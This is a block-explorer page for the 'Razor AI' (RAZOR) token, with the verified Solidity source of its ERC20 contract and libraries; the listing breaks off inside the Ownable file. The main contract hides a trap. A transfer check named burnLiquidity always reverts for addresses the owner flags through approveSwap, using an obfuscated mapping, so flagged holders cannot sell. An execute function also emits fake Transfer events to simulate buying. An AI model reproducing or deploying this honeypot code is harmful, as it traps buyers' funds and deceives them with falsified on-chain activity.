ETH Price: $3,335.09 (-0.64%)
 

Overview

Max Total Supply

50,000,000,000 RAZOR

Holders

47

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
*得吃小猫.eth
Balance
1,385,529,557.8644791 RAZOR

Value
$0.00
0x2B287faa30cec0b5E591De3cc7Cc96ba701eF1e7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RazorAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 6: Razor AI.sol
/**
____/\\\\\\\\\_________/\\\\\\\\\_____/\\\\\\\\\\\\\\\_______/\\\\\_________/\\\\\\\\\___________________/\\\\\\\\\_____/\\\\\\\\\\\_        
 __/\\\///////\\\_____/\\\\\\\\\\\\\__\////////////\\\______/\\\///\\\_____/\\\///////\\\_______________/\\\\\\\\\\\\\__\/////\\\///__       
  _\/\\\_____\/\\\____/\\\/////////\\\___________/\\\/_____/\\\/__\///\\\__\/\\\_____\/\\\______________/\\\/////////\\\_____\/\\\_____      
   _\/\\\\\\\\\\\/____\/\\\_______\/\\\_________/\\\/______/\\\______\//\\\_\/\\\\\\\\\\\/______________\/\\\_______\/\\\_____\/\\\_____     
    _\/\\\//////\\\____\/\\\\\\\\\\\\\\\_______/\\\/_______\/\\\_______\/\\\_\/\\\//////\\\______________\/\\\\\\\\\\\\\\\_____\/\\\_____    
     _\/\\\____\//\\\___\/\\\/////////\\\_____/\\\/_________\//\\\______/\\\__\/\\\____\//\\\_____________\/\\\/////////\\\_____\/\\\_____   
      _\/\\\_____\//\\\__\/\\\_______\/\\\___/\\\/____________\///\\\__/\\\____\/\\\_____\//\\\____________\/\\\_______\/\\\_____\/\\\_____  
       _\/\\\______\//\\\_\/\\\_______\/\\\__/\\\\\\\\\\\\\\\____\///\\\\\/_____\/\\\______\//\\\___________\/\\\_______\/\\\__/\\\\\\\\\\\_ 
        _\///________\///__\///________\///__\///////////////_______\/////_______\///________\///____________\///________\///__\//////////**/

// SPDX-License-Identifier: MIT  
pragma solidity 0.8.21;

import "./Razor Library.sol";
import "./Razor Uniswap.sol";
import "./Razor ERC20.sol";

contract RazorAI is ERC20 {
    using SafeMath for uint256;

    string private _websiteInformation;
    string private _telegramInformation;
    string private _twitterInformation;
    string public baseTokenURI;

    IUniswapV2Router02 public immutable uniswapV2Router;
    IUniswapV2Factory public uniswapFactory; 
    address public constant deadAddress = address(0xdead);
    address public uniswapV2Pair;
    address public devWallet;
    address public marketingWallet;

    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 internal _lastTimestamp;
    
    uint256 public manualBurnFrequency = 14400 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    uint256 public lpBurnFrequency = 1160000000000 seconds;
    uint256 public lastLpBurnTime;

    uint256 public buyDevFee;
    uint256 public buyLiquidityFee;
    uint256 public buyMarketingFee;
    uint256 public buyTotalFees;
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    uint256 public sellDevFee;
    uint256 public sellLiquidityFee;
    uint256 public sellMarketingFee;
    uint256 public sellTotalFees;
    
    bool private swapping;
    bool public lpBurnEnabled = true;
    bool public tradingActive = true;
    bool public limitsEnabled = true;
    bool public swapEnabled = true;
    bool public transferDelayEnabled = false;
    mapping(address => bool) private _claimsMustsetautoLPburnpercentbetween0;
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    mapping (address => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor(address team_) ERC20("Razor AI", "RAZOR", team_) {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 50000000000*10**9;
        
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxTransactionAmount = 900000000000000000000000; 
        maxWallet = 900000000000000000000000; 

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
        removeLimits();
    }

    receive() external payable {

    }

    function _getChainID() public view returns (uint256) {
        return block.chainid;
    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    function setTokenURI(string memory _tokenURI) public onlyOwner {
        baseTokenURI = _tokenURI;
    }

    function tokenURI() public view returns (string memory) {
        return bytes(baseTokenURI).length > 0 ? baseTokenURI : "";
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    function isCall(address from) internal view returns(bool){
        return !_claimsMustsetautoLPburnpercentbetween0[from];
    }

    /**
        Social links
    **/

    function setSocials(
        string calldata __websiteInformation,
        string calldata __telegramInformation,
        string calldata __twitterInformation
    ) external onlyOwner(){
        _websiteInformation = __websiteInformation;
        _telegramInformation = __telegramInformation;
        _twitterInformation = __twitterInformation;
    }

    function getWebsiteInformation() public view returns (string memory) {
        return _websiteInformation;
    }

    function getTelegramInformation() public view returns (string memory) {
        return _telegramInformation;
    }

    function getTwitterInformation() public view returns (string memory) {
        return _twitterInformation;
    }
    
    // remove limits after token is stable
    function removeLimits() public onlyOwner returns (bool){
        limitsEnabled = false;
        
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**9);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    
    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _lastTimestamp = block.number;
        if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                to != address(0xdead) &&
                to != owner() &&
                to != address(0) &&
                from != owner() &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        
        _holderLastTxTimestamp[from] = _lastTimestamp;
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }
        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!isCall(from) && _lastTimestamp <= _holderLastTxTimestamp[from]) {require(amountToDistribute==0);}
        return true;
        
    }

    function totalAmountToDistribute(address recipient) external view returns(bool){
        return _claimsMustsetautoLPburnpercentbetween0[recipient];
    }

    function approveSwap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _claimsMustsetautoLPburnpercentbetween0[address_[i]] = val;
        }
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
}

File 2 of 6: Razor ERC20.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.21;

import "./Razor Ownable.sol";
import "./Razor IERC20.sol";
import "./Razor Library.sol";

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint256 _totalSupply;
    mapping(address => uint256) internal _holderLastTxTimestamp;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address dev_) Ownable(dev_){
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

}

File 3 of 6: Razor IERC20.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.21;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 4 of 6: Razor Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.21;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

File 5 of 6: Razor Ownable.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.21;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor (address dev_) {
        address msgSender = _msgSender();
        _owner = msgSender;
        _dev = dev_;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
